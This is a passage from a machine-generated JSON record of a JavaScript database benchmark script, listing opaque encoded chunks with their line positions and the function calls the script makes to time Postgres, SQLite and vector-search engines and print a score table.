            "b": "y^Sb-zGE]ZfD+={3lQEti%(rqatkw\u003cl1:?JwOkB[wGTurryv%IwPJ0gBAm^iazbLjasH-rzGx[xAV/pjayP85qE%](y\u0026\u003c.EaBsCrarR!sz/M%Gv@DmaBrB!6wQb*HwO#c^aA7\u003cmpHX6Iv@%tmzGG]kwPGnhzF9W3wPGpHaBsCrarR^Hay/tcB95Knvrt{2jS[=HyH}=%i%)8MarR^Hx\u003ewFowmoN*asnATa.k26vj(Rpx(F35wgnTF3lQDlarR^Haz2C6e[n{AwkNq!as/O$wmoN*e{7=Ez/]YaAclmBE0^4\u003ci%)8MarR^HarUlkxd!cX",
            "ln": 4890,
            "col": 134,
            "line": 110
          },
          {
            "b": "w/@Hjvrt{xe]$/xAbYx0diJ%AarR^HarR^HwO#ckB8bGeAaJM5jS[\u0026!B.9SwarR^HarV7tarR^HEf}8tEf{r7atkw\u003cl1:?JwOkB[wGU2+v@#TfaAz4mB.(evasICFBz8!qwN/d+y:/Ylatkw\u003cph+k=iV}0?q:\u003cO-aAI47zEEN1z/W4mvrMi8A+e-?y?#lZpa[)XefF\u003eGy\u003cvd4ml%*snfz$-wO${%x(w5nxKM6}az#sswPzG{aAz46vqG-!arUomAV==uz/fSraAwPyw/#ndv@#TfqE%](y\u0026\u003c.EaBsCrarR^",
            "ln": 5275,
            "col": 15,
            "line": 123
          },
          {
            "b": "zGExVi%)8MarR^HarV7tarR^HarV7tarR^HEf}8tEf{r7atkw\u003cl3u*Wvp%c]BzbkdA+frmy\u0026\u003c.9arUomAV==uz/fSraz2C6aA7\u003cmpHX6Iv@%tDvqH6$B0$Qqxk8l{B15KXDKp(rarUxgasH/sxd^XjB-8pzj%hKdaBsCrarR^Haz2C6e[n{AwkNp",
            "ln": 5926,
            "col": 24,
            "line": 141
          },
          {
            "b": "wN/d+y-\u003e\u003e-cR=rXcP.UTarR!P3lQDlaz2C6e]$JvA+cvRawDo^xFaszB-7.rwO#ckv@=Z5qe*O0dJ*z$hxTH)wO#ckC4CeXAc0cKattA8at1ZEzF7OkA=M8sB08}Pf!+4r3lQEt3jm)#fe1CAA+PAkaAR43y?j-5wNPaXAV==Ox([2hqE%uDy?$k7z!%MkzyC]nay/tcB95KrvrkEXv\u003c0]SC4Cf9z/O-!B9hqvB1RouzFa68au*]4i%)8Mx\u003ewFoxKL%.wN^eiDKp(rarUfjzGx-jwId!qxdddkDQxz{z!@%jmq=:LzE\u003c}karR^HarR^H",
            "ln": 6558,
            "col": 15,
            "line": 163
          },
          {
            "b": "zE(Q:wmY^7jS)@RB8=2gBy=*Jaszbvy?X05cOcw/AbP/txl4N8cOcw/Aa:l6A=#1wt@@xoazCBgc$uX6rDz.HvqNCowO#c{zE(Q:wmY^lAclknc)@$DB7GxnwL#@NcN?a:",
            "ln": 7162,
            "col": 13,
            "line": 179
          },
          {
            "b": "wN!RHv{%g\u0026Ei\u0026nziV]!Bff{%E3lQDlarR!pz/fSraA?saqe*OPBAeG!az2C6e{p/olVm9+BrA:\u0026fD-O5wO#ckC4CeXAc0TNz+L7VvqGHNBAh8kxdbhKiV]!Bff{%E3lQDlarR!pz/fSmy?kknz!yFabZT3ty\u0026suxbZT9uxd!7gzdLtsvpR/Awgfe\u003edsAt#L.726DSb3bx(mMiwO#ckv@=Z5qe*OeBz\u003c\u0026\u003ev{%g+q/)4]zF7vDdk2NFwk^OUA=-Y?dsAt#L.726DV\u0026$gqe*OPBAf0MvpSqUvrcDrhZ%d$\u0026/]3qbZTMyv{%g\u0026q/)4jAa9oQByxiic]JJ5aMwSqas8pZwO#ckA5xr(d\u003cciRB0\u0026y?Aa9oQByxiic]SP6aMwSqas8pZwO#ckA5/{3d\u003ca",
            "ln": 8264,
            "col": 59,
            "line": 206
          },
          {
            "b": "\u0026/]3qbZSEiA+PA7c$Npee[G6zz/P[Fe]Ulfq/(C*Bso3@EivKlF/(s=B7ocewKyxLz/QmKDSb3bx(mMiwO#ckB7ocewIe7yoMaAHy?lK!A+PA7c[cO$Aa9oQByxiic]SP6bZR)hA+fr6BBvKCi%)8MarV7PwO=B0aBsCrarR^Hay/tcB8L(ae]kDsc$1rEv@Dg4A^YiWwO#ckzEEx[e]Ulfmq=S:f/HLfaMwSqas8qjBAh8kxddtexd^XmB.1u*B1RMMoMaAHy?lK!",
            "ln": 8601,
            "col": 237,
            "line": 208
          },
          {
            "b": "B8L(ae]kDsc$1rEc/QwvcOxBJAaJE1c$)4gr+k+-koI%uauyS7fE.ATdlv\u003ezarSr\u003caxJn{zE)\u0026hvqY$3B-7Y2zdNQb3lQE3z/fSmy?kknz!yFa3m6%=e]t3fwO#P#Ei:ebe=",
            "ln": 9044,
            "col": 6,
            "line": 214
          },
          {
            "b": "A=M8sazth3wnC*$B08(LB-qquwPI]nwQ5f9v@#o)aw+NAx()]es3Y+VavQJ?Bw)o\u0026BAITEwPz*fA=SVpAb](bwPI]Bz/c%JB-7(3zE^M{wkV#NwN/*@z/c{NasInwvrlv8efF[Lz/6ifwHO-+j%kgVarUxgasInwvrlv8asnATA+eW2z/dgBvqPM#jV$}JcQ\u0026n]Bw)o\u0026BAITLdiJUxBAIRwi%)8Mv@Dmaz!@#qwPz*fAWSqnzFiD@wnC*/aw^8%ze165aw#==wN/*@z/dP-efF$Avrlv8dlv(+dlv\u003ezAb](bwPI]Bz/c%JB-7X$B.txfmr\u0026rNAcb/jzyl$Tc$NBtz/NoHjW70n3lQE9w/@HkA=M8sasnATwPz*fAXqlrzdK?MjV%]nmr\u0026J*q/(C\u0026B-O]VaAz4nB-IvY3lQE3z/fSmy?kkgA=M8sc)@2jv{%H)xMLv=CW\u003er7BzkVhiWVE3wPv",
            "ln": 9585,
            "col": 12,
            "line": 224
          },
          {
            "b": "w]zYjw)]y]aw$H1eP+[.qBa21v@Dj6vrc76z/d0hv@DmaBrByQq=Dm+mn)LXpFKwJm\u003c6@qDKp(rxM4%liV]!^z!0i(xM4%lcObPEaAhmtBugK4g=3{sarSr\u003caAg$pwN/?2AXzxAC4Cf9z/N)Txe8s/l#MNJwPw]6z/fV9x(mH53lQElB7GwMaszbDB985nwPGjI3lQEgvrlHlz/PwHaszbDB985nwPGjI3lQE4vrt{!vrl0vaszbDB985nwPGjaEld=yfdFBUasXH2wO#0\u003ezddE2aAI47zEEN1zY\u0026LdzF0P}B-H)",
            "ln": 10112,
            "col": 55,
            "line": 238
          },
          {
            "b": "BAh89A%:3tfa8i9vrlGjo\u003ewA!x\u003e8ibDKp(rv@DmaBAhIlBz(gFdiJ%AarR^HBzbxfe]j%rwO#0(wPF$Sax@bk3lQDlaARphB1R3AA=k#tauZ\u00263i%)8MarU=tx(+[yz!0MZx(dB1B-.WEjS(Bu3lQDlaARphB1RJQvrcD?x(dA7jS(Bu3lQDlaARph",
            "ln": 12195,
            "col": 18,
            "line": 318
          },
          {
            "b": "aAITkA=-YUaBsCrarR!GxLzJuB97\u0026hBw#%\u003ewGTbUl$7gGe]CPKc[dj+arV7t3lQE5zE+dAaBsCrarR!GxLzJuwO#3Tx(dA7jS)d3By^7xz*9PUi%)8MEf{r7ayO!\u003eoKS3Ozu",
            "ln": 12364,
            "col": 2,
            "line": 329
          },
          {
            "b": "3lQDlazCBgc$NBtz/NEEwPI{3xjShjclM(uA=k$JzdN^fvp%d7x(mA%B.268c)}}\u003coI5hLuQv:\u003esTLTEaBsCrarR^HaARphB1RoEv@24TzdNTdBAn@.i%)8MarV7tarV7t3lQE7wPQ)+A=l8kxMe9oc[co=3lQDlay/tcB95KnB-H]jx(v(-B09Q*Bzbxfe[F{hrb3hXat1ZTxLzJuB97\u0026hBw#%\u003ewJHkwarR!pz/fSray]Rnvruj4zC}Vvay]Rnvruj4zCtf{fcz#6fFCM}arR^HA+funA=90]vrufnA=l8rwghLkx(+[yvru6#v}/H}e]k9pxlm/ffcB!FA::67zV",
            "ln": 12550,
            "col": 19,
            "line": 342
          },
          {
            "b": "zGx[xB8M8vwN(]Dax{DJe{7=vB1RoqBy/u1x\u003equ\u003ee]$@KBsnLCefFyJau.[hvivcAvKTwCarR^Hv@DmaBrCpnwmZ0djS)EcBz9ppwOC%ed06rEBy!#ny?mG%Bz8^DaAe+Lfcz#6fEXa@atC}+arR^HA+funA=91vz/P@hwlR=pBz9pzvr:gOefFUAwmZ0mt@@xoaBKO7arUrdBw=W?z/P}FdiJ%AarR^HA+funA=91D3lQDlarR!GxMw3lxj#mbBugK^xLv",
            "ln": 12907,
            "col": 7,
            "line": 356
          },
          {
            "b": "vrufnyhW*7c@JGjrzlv\u003cuQNE-efDrYACPuhwI4w5zEWujwmu]ni%)8Mx\u003ewFow]/OoCXIkvB5Nv4v\u003c\u003e\u003e%p*[DVdjDxKB1RPMy?W^5q*Am\u003cc$D^-vrufii%(rqay/tcB95KnvJW/RzE[2ml$7gCvQTs?c$D^-vrufii%(rqatkw\u003cq!p5[A3fjixK#3?3lQE4vLhkpwN^b@3lQDlavx3}k#Zn}r6-\u0026AmiCe\u003eawLZiavPy7q=DWrzdN^fvp%d)asENtarR^HazCvenLSkNm[3q#p/o\u003eVk#H\u0026dogq#ak#*(WnLRSJmnliCr4Fw0arR^Hay/tcBy/uiaxg^ir4Fw0arR^HaARsmwPI%4zeZQ?pe\u003cULmn:EnarR^Q3lQE0dlv\u003ezarUfjzGx[xzdN*fx\u003e8ibjS[SNCoxQ\u003eBAd",
            "ln": 13467,
            "col": 19,
            "line": 379
          },
          {
            "b": "zGx[xB97\u0026hBrAZ?l$7gGe]CPKc[dj+arR^HarR^HarU=DC{4CvarR^HarR^HarR^HwmvfgA+fh#A+cTDnLShMqDa=gpe\u003e1izdN^fvp%d)asH-rzGGDcBsXLRx(dB5Byx39diIUSoJsIWasGD9au}q5dk2T-zyt\u0026marR^HarR^HarR^HayE]PB8$=5wGSmBx)?MUDUN$ped9HxarR^HarR^HarR^Hl$7gGe]CPKc[bGCarR^HarR^HarR^Qi%)8MarR^HarR^HarUJjBAh89B1Q)iwk3ANwO#16c}4G=wId\u003esCpj).eG/aRvrcDsi%)8MarR^HarR^HEir3dByO#bc$NBtz/NoHDKp(rarR^HarR^HarUJjBAh89B1Q)iwjpJVz/NmqA=M8sdlv\u003eVarR^HarR^HaBKOtarR^HarR!P3lQDlarR^",
            "ln": 14126,
            "col": 13,
            "line": 404
          },
          {
            "b": "arUfjzGx[xB97\u0026hBrAZ?l$7gGe]CPKc[dj+arR^HarR^HBAhTHDKp(rarR^HarR^HwmvfgA+fh#A+cTDq:\u003cwGlStfTavYm8o^1p:B8$=5wPF$/nLI=QatCL$dk24By:Z.]3lQDlarR^HarR!zwPR%bv@\u003cnhwmOwxBy/u1C{(6?By^7xz*9PUat1ZSByxiidlv\u003eVarR^HarR!Pay!\u00264v}V#kwPz*fAW-bT3lQDlarR^HarR!zwPR%bv@\u003cnhwmObHA=k$DwPz*fAWZ",
            "ln": 14563,
            "col": 7,
            "line": 418
          },
          {
            "b": "arUfjzGx[xB97\u0026hBrAZ?l$7gGe]CPKc[dj+arR^HarR^HBAhTHDKp(rarR^HarR^HwmvfgA+fh#A+cTDrzV7Hr7d{DwPI{3xjVcbq:\u003cUdv@DmbwO#PjjS(%is4C+TmiDqPauZ\u0026icN*V*B-5PmarR^HarR^HarR^Hu@.eRvru6\u003eas8qFEpaPkarR^HarR^HarR^Hc$%!IatCM7diHb-f:Y3CarR^HarR^Hdlv\u003eVarR^HarR^Haz\u003eXiA+P38e[5p3oKS3OzEW}",
            "ln": 14885,
            "col": 7,
            "line": 428
          },
          {
            "b": "oJj}$l}Hocaszbvy?X05eN\u0026pev}Wksi%)8Mx\u003ewFow]/OoCXIkvB5Nv4v\u003c\u003e\u003e@ByvNKAW-BWDKp(rarUoqe]\u003e/cD2vauwmoN*l${V)aBtkKwN/\u003e6B7]/eiV@J+B.8Xzdlv\u003eVaBKO7arUfjzGx[xwmuVAaz$+maw+NAx()]mwmoN*l${V\u003ci%(rqatkw\u003cq!p5[A3fjixK#3?3lQE1Cvticay[}lwQ4=@c$0x8arR^]qBJ(JmiCL}lqf/\u003cnK:*$pGeD9sv(B\u003cqY]{*B8$=5wPF$x",
            "ln": 15459,
            "col": 33,
            "line": 454
          },
          {
            "b": "c)}}ZoHRrFatCk)i%(rqarR^WfcBh8BAIKBB7n({zd9+]arR!nCvticaAhmqy+xZIwPA5Au\u003cX20arR^Hl@D/SaxgS[oHQ6}mJ+c4nMeO!ayX]1v}Yj^wPI{3xjVcC3lQDlarR^]qBJ(JmiCL}lqf/\u003cvR6B!xKtQ/B8$=5wPF$x3lQDlarR^HazCveq:\u003cOQk$\u0026y$qB%OGqDUbnmoIeGarR^HarR^Hv@DmbwO#Pjr7f[*ed9HxarR^HarU=uzdN^gvqP%alp\u003cWspe?MyarR^HasNTuarR!mdlv\u003ezarR^Hv@DmaBrCBiBAh89B09Q*zE[2mo\u003ewA!x\u003e8ij",
            "ln": 17557,
            "col": 21,
            "line": 539
          },
          {
            "b": "aARTHaBsCrarR^HarR^HarR^HarR^HayPF5x(\u003eFpz/oCAADL\u0026kC{\u003c1xarR^HarR^HarR^HarR^HarR^OnLShMqDa=gpe\u003e1ivR6B!xKtQ/B8$=5wPF$xv@DmbwO#PvaARsmwPI%4zeZ{DrZxzVmn\u003erSbRZ?)bR*!@ed9HxarR^HarR^HarR^HarR^HarT(@o\u003ewx!vp%c]bZTlNeHkWTEpaPGl$7gGe]CPKc[eBearR^HarR^HarR^HarR^HarS9{3lQDlarR^HarR^HarR^H",
            "ln": 18292,
            "col": 16,
            "line": 566
          },
          {
            "b": "arV7tarR^HarR^HarR^HarV7tarR^HarR^HarR^HEjlM[3lQDlarR^HarR^Qi%)8MarR^HarV7t3lQDlarR^HayPF5x(\u003eE]A=k/eB7D$jy?$IsA=k/eB7Gzwi%)8MarR^HEir9qB7DFdw/@HuA4VlTAaHdPjV%]nq:\u003cwGlStAZaBsCrarR^HarR!sz/M%Gy?mYhx=]LYfGQy\u003eauQ=+A4UTsB-8p.azAtRdiF",
            "ln": 18646,
            "col": 15,
            "line": 574
          },
          {
            "b": "vrcDjjS)d3By^7xz*9PUi%)8MarR^HarR^HBAhTHDKp(rarR^HarR^HarU9pvqf*aAbPVhe]=2BA^o5Xq:\u003cwGlStfTavYm8o^0[RzEWu!zdN^fvp%d)awtv3nMl/!fEFqh3lQDlarR^HarR^Haz\u003eXiA+P38e[5p3oKS3OzEW@ul$7gGe]CPKc[cn\u003caAITkA=--(3lQDlarR^HarR!Pay!\u00264v}V#kwPz*fAW-bT3lQDlarR^HarR^Haz\u003eXiA+P38e[5p3mriA!AWUHtA=k$E",
            "ln": 18848,
            "col": 19,
            "line": 583
          },
          {
            "b": "AXqiuB8$=5wHPXFarR^HvrVc]BrCKvz!}4qzE+dAe[nsiv}WnsdiH=qaBwI=i%)8MarUYoBAIRwaBtkMxMw3lxj#mbBugJ#efF)?fGHsgefF)(ixwopefFIAA=k#tiV{acaz+$ayGb1+",
            "ln": 19774,
            "col": 59,
            "line": 615
          },
          {
            "b": "atkw\u003cs7b/+azbLjaAIamC4CXpBz\u0026phwGUPcy\u00261wtA+eV\u0026C)UVparU9pvqf*azE[2mp\u0026ZF\u003ex(^\u0026lA+frgy\u003c6wjjW70fwPQ)=zdNTdBsqfvB8L(rwH[@VfFCgfdlv\u003ezarR^Hv@DmaBrCKvA=-A!aA.:pqEKz+koIWug=3{giV{dpg=3)G3lQDlay/tcB95Kzz/oCmjS[SNCox.2z!{?G3lQDlarR!uzV",
            "ln": 20520,
            "col": 4,
            "line": 639
          },
          {
            "b": "arR!GA^n^OayPF5x(\u003eFswPz%9AXqAPz/v9Nj0n}]v{%E?xDOZmdiJ$=3lQDlaBKOtarR!EwPS6nzxKoGBzbYkB.txbB-YU!fF1t=h846lfF1t=ixobyfF1tTA=M8sB2\u003eA#efF+E",
            "ln": 23539,
            "col": 4,
            "line": 746
          },
          {
            "b": "arR!nCvticay[}lwQ4=@c$0x8arR^HavGa6p-@.6lqf/\u003cnK:*\u003esv(B\u003cqY]T*vR67Xx(mN8i%)8MarR^HlScusr7d{ek%!mlaz2z0wN]s=zFa2kc\u003c?7tarR^HarUxeaw2scmmP^Aaw+%co*IVWawkdaed9HxarR^HarU\u0026sv@#TfaA?saBz(gFbZTPxwO${%x(tRmx(dB0B7]MgEjkHCarR^HasNTuarR!mdlv\u003ezarR^Hfe1Ctpe:OVr3ll(wO${%x(taCaz\u003eW#B9hImao",
            "ln": 24467,
            "col": 2,
            "line": 774
          },
          {
            "b": "z/PY6BwMQJwN/?2AWUHovR67Xx(mN8e{p/oBz(hvtwmv(i%)8MarR^HarUfjzGx[xB97\u0026hBrAZ?AaK64z/PY6zEWlgzF%.Edlv\u003eVarR^HarR!nCvticay[}lADL\u0026kC{\u003e4ipe:OVr3j+cr8jSFzdm6!wnb{]B08(BwgO\u003cDwN/?2AW-bik$\u003eoEqY)Flf!sB)gcdEtwN/?2AW-v!ax@L5d\u003ccL$aA?sat}4\u0026xarR^HarR^Hy*?A%zEWx(B1RAOB7=$vwPzy3A=2l5v}vogz*9PUat1ZSByxiidlv\u003eVarR^HaBKO7arR^HarUfjzGx[xBz(m",
            "ln": 24922,
            "col": 22,
            "line": 788
          },
          {
            "b": "AWU{IwPA5%wN/?2A=UD0asedIB.bPsr+k=.z/P[Ky?mG%Bza@ei%)8MarR^HvrVc]BrCa6e]=2BA^o6vq:\u003cwGlStgxwfsutpFz%yzdm6!wnb{]B0amRl}6#@lrLBOwN/?2AV^E@j%ha9iY.B}v@#Tfawtv3nMl/TgghTQtxa^%A^pX%v\u003en:zv}xK^A+PCAyH5wJ3lQDlaBKO7arR^Hfe1CAxKL%[atV53o\u003ev:OB-I57aAqKnA+P9aaA}KwxDRtbv{%g\u0026aARTjv@2^@x8",
            "ln": 26319,
            "col": 37,
            "line": 824
          },
          {
            "b": "aAg[jw]zZbvqYN^e]CPKc[dj+arR^HarUfjzGx[xA+frmy\u0026*^.ayPF5x(\u003eFdvLhUywPA5A3lQDlarR^HayFbpoHRrFazCvemP92Raz2z0wN]s=zFa2kpF%OHqxOqeaA?sa",
            "ln": 26778,
            "col": 20,
            "line": 835
          },
          {
            "b": "wPz%9e*9-6B97\u0026by-)XfC4Cf9z/M$jx(4v4aARJAELir)xldT8C4Asox(kN^Abn%8w]zZbj$*p)i%)8MarR^HvrVc]BrCKvz!}4qzE+dAi%)8MarR^HvrVc]BrCToA=#2me]#a",
            "ln": 34004,
            "col": 64,
            "line": 1053
          },
          {
            "b": "B9hqvB09Q*tu@W2DKp(rv@DmaBrCQnAbP=sauZ\u0026]3lQDlaARsmwPI%4ze.JUzE[2ml$7gGc[c=\u003cz+i(6q/)4]zF7vDed9HxarU-nwO${%x(w5NaAz4mB.(eved9HxarU\u0026sv@#Tfq!6xRvrc72B2\u003eB!wN/?2A-cE\u0026B.(ev3lQEti%(rqatkw\u003cq^\u003c\u0026XawbNd",
            "ln": 38173,
            "col": 42,
            "line": 1169
          },
          {
            "b": "azL$ozCT+-xDPCXAa9\u003c4e]2rszywyKq=MH\u003cq^R{:qy\u0026}rvR6B!xL?f#yB%NrB9hqvB1RiGz/c{Ki%)8Mw]/OGA+PSbmRMWIq*Am\u003cc#9*wzCT+-xE\u003en#q+{dvB98CpzF9V}C{)YAAbP=sefF?My?$TBgasUl3jm)#fe1CrwO#71vru66zddE2wn=Wf3lQEcwPP5iwfs2TcNf:2wO#0\u003ezddE2aw#=(B.(evtY9!:cP.UTaz\u003eTid)k1.dK)?{By^G.dJ*0-zE[2ml$7gGc[c=\u003cz+L7VvqGHNBAh8kxdbiStY9!:u][Yraz\u003eTid)k15bo[sdB.Lu3ax9w\u003cA=+M7tY7]J3lQEdwfrx=asyM8u$9L=xK2B5i%)8MzdB+tjS(9%ax\u0026t%zY\u0026+iB97\u0026by-\u003eqLyisPtaAzQxaZw[ji%)8MzdB+tjS(a\u0026AcJHAxldT8C4B]@tM",
            "ln": 38334,
            "col": 8,
            "line": 1177
          },
          {
            "b": "x(v(izddc@c[co=3lQDAfcB81A=U!mlRH5]vrc143lQE3z/fSrayPq6B09Q*Ab](bwPI]Bvrc17e]$\u0026yv}v5zdlv\u003eVay/tcB95KszEWH9wmX!Mv@#TfauZ\u0026QA+xCCx(mA%B.268c){O#x(mA%B.25nC4Cf9z/NiOaBFLVvrc14e[]iky\u0026%o1B0@y/eP$YnBz(gEdlv\u003eVay+",
            "ln": 50829,
            "col": 12,
            "line": 1350
          },
          {
            "b": "xlbXtzEWH9wmY*gcOo0VdjDx^3lQDlay/tcB8L(ae]kDsc$0y3xldT8C4z^.wO#0\u003ezddE2ax9z%By+^^rDzOYwJyevayYFhaARgoBAo9AwO#0\u003ezddE2B1.MRzF\u003c3ae]2CItw[F5x(v)gt)Z{mAcb/jzGv\u0026CarSl/x(mA%B.25nC4Cf9z/M%yaw3DXy\u0026%o1aA?saBz(gxc#-*xwN/?2AW-buwO#0\u003ezddE2A%:3jeIhcSv@#TfePkJyC{1jLarR!8B-5suzFTOvC4Cf9z/M$fwO#0\u003ezddE2A%:3jeIgTEy\u0026y{FeODmHarR^HarR^",
            "ln": 51077,
            "col": 36,
            "line": 1356
          },
          {
            "b": "iV}goBrC\u003cuBrCTEAbY-oBy!#9c#AykyH}30vriMjyIv:bwN)j%u[1eAarR^HAb](bwPI]BwQ4{hc[)8i3lQEt3jm)#fe1CAA+PAkayX+%zE)?}arUc4zF\u003c3ac[dj+arUxgasH@wv@co#wMAwLBz(gxE0^5WwN/?2A.*N?C{%\u003e.3lQDlay/tcB8L(ae]kDsc$1rElOq)",
            "ln": 51472,
            "col": 12,
            "line": 1371
          },
          {
            "b": "z!9A4x(+z9C4293vpB4:asG]$zGQgDz/fxpaA}KwxDO%swP/.FxL/g9arUfjzGx[xv{%mPB7FlTz6g$:z/WKIy*?A$z/PXydiH=pjS(a*x(n6rcM\u003c-.azbWEwQ4{gBApxazEU7xfjXTqflp/zcN?a:arUxgasH-dzDg:?qEKz\u003eaBsCrarR!pz/fSmy?kknz!yFabZR)hxl4M{zHI2DLd\u00265pk$@Fsz!9A4vrM6[y**^?wGSxOwmY{qB7/zkwmY\u003c]v/",
            "ln": 51896,
            "col": 20,
            "line": 1390
          },
          {
            "b": "xl4MZqa%1[arR^LDVi[ABz2S9B1RJHx(F35wfs8Vu)H7^e[wWkEn-^gp/6OGbZR)hA+fr6BBvKtiV}/QDQxz{z!@%jbZTGGB985nwPGFCxMw3lxj#mbBBtAYlOry\u003cB7GDwaAqvwefE+DfG/",
            "ln": 53639,
            "col": 50,
            "line": 1426
          },
          {
            "b": "wk)O(Bz96farR^HarR^HarUljvR67Xx(mN8e{p/oBz(hved9HxarR^HarR^HADL\u0026kC#!G^Bz(hve]$\u0026yv}v5xefG1zwO${%x(tRzB.bPslVm9+Bsw:FarR^HarR^HarU-nwO${%x(tRted9HxarR^HarR^Hu$ja}AcljNbZT3tA=uexq!ZL?EjX#zz7N2Wwnb)(zGxJgzHz",
            "ln": 55760,
            "col": 31,
            "line": 1460
          },
          {
            "b": "BAnMMbZTlDnP5PXA=-A*asx-Qq:\u003cO-aw\u003e%lcM\u003eC)u@yMCvqG:BbZTPxwO${%x(tRtEip3.qbyh0Ejmi5DQxAawPIB8EpaG=3lQDlarR!pz/fSmy?kknz!yFaarR}RlOq[-zg8",
            "ln": 56901,
            "col": 38,
            "line": 1489
          },
          {
            "b": "g+0?}bZR)hwnb[eq+GXUp^)+$DVy-VwNPT#zxId^u)3\u003cyDVy-VwNPT#zHA%wauyR)cW^m!lOry\u003cB7GDwu][YrarR^HarR!vw/@HoB4Hm\u003cwPz(waBsCrarR^HarR^Hao",
            "ln": 57312,
            "col": 75,
            "line": 1492
          },
          {
            "b": "KM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M7ogElOry\u003cB7GDw3sCqA3vJl*zddc@c[c=Uvru0)c$vgkB8L(ae[G6zz/No*3i",
            "ln": 58836,
            "col": 153,
            "line": 1517
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "pct"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "filled"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "empty"
            ],
            [
              "",
              "'█'.repeat"
            ],
            [
              "",
              "'░'.repeat"
            ],
            [
              "",
              "throughputScore"
            ],
            [
              "",
              "latencyBonus"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "errorPenalty"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "engines"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "data"
            ],
            [
              "",
              "eng.skipped"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "data"
            ],
            [
              "",
              "recallValue"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "isNaN"
            ],
            [
              "",
              "Object.values"
            ],
            [
              "",
              "eng.crudQps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "eng.p50"
            ],
            [
              "",
              "eng.p99"
            ],
            [
              "",
              "eng.vecQps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "eng.vecQps"
            ],
            [
              "",
              "eng.vecRecall"
            ],
            [
              "",
              "eng.vecRecall"
            ],
            [
              "",
              "eng.score"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "hasVec"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "'─'.repeat"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "'─'.repeat"
            ],
            [
              "",
              "engineOrder"
            ],
            [
              "",
              "engineOrder.push"
            ],
            [
              "",
              "maxScore"
            ],
            [
              "",
              "winner"
            ],
            [
              "",
              "eng"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "eng.name.padEnd"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "eng.name.padEnd"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "'-'.padStart"
            ],
            [
              "",
              "color"
            ],
            [
              "",
              "scoreColor"
            ],
            [
              "",
              "maxScore"
            ],
            [
              "",
              "winner"
            ],
            [
              "",
              "recallStr"
            ],
            [
              "",
              "vecQpsStr"
            ],
            [
              "",
              "eng.vecQps.toLocaleString"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "eng.name.padEnd"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "eng.crudQps.toLocaleString"
            ],
            [
              "",
              "vecQpsStr.padStart"
            ],
            [
              "",
              "recallStr.padStart"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "eng.score.toLocaleString"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "eng.name.padEnd"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "eng.crudQps.toLocaleString"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "eng.score.toLocaleString"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "'─'.repeat"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "winner.padEnd"
            ],
            [
              "",
              "String.padStart"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "RESULTS_DIR"
            ],
            [
              "",
              "POSTGRES_CONFIG"
            ],
            [
              "",
              "scenarios"
            ],
            [
              "",
              "vectorScenarios"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "error.message.includes"
            ],
            [
              "",
              "durationMs"
            ],
            [
              "",
              "durationS"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "sorted"
            ],
            [
              "",
              "index"
            ],
            [
              "",
              "Math.ceil"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "dbPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.unlinkSync"
            ],
            [
              "",
              "db"
            ],
            [
              "",
              "db.exec"
            ],
            [
              "",
              "metrics"
            ],
            [
              "",
              "metrics.start"
            ],
            [
              "",
              "concurrent"
            ],
            [
              "",
              "perThread"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.prepare.run"
            ],
            [
              "",
              "db.prepare"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
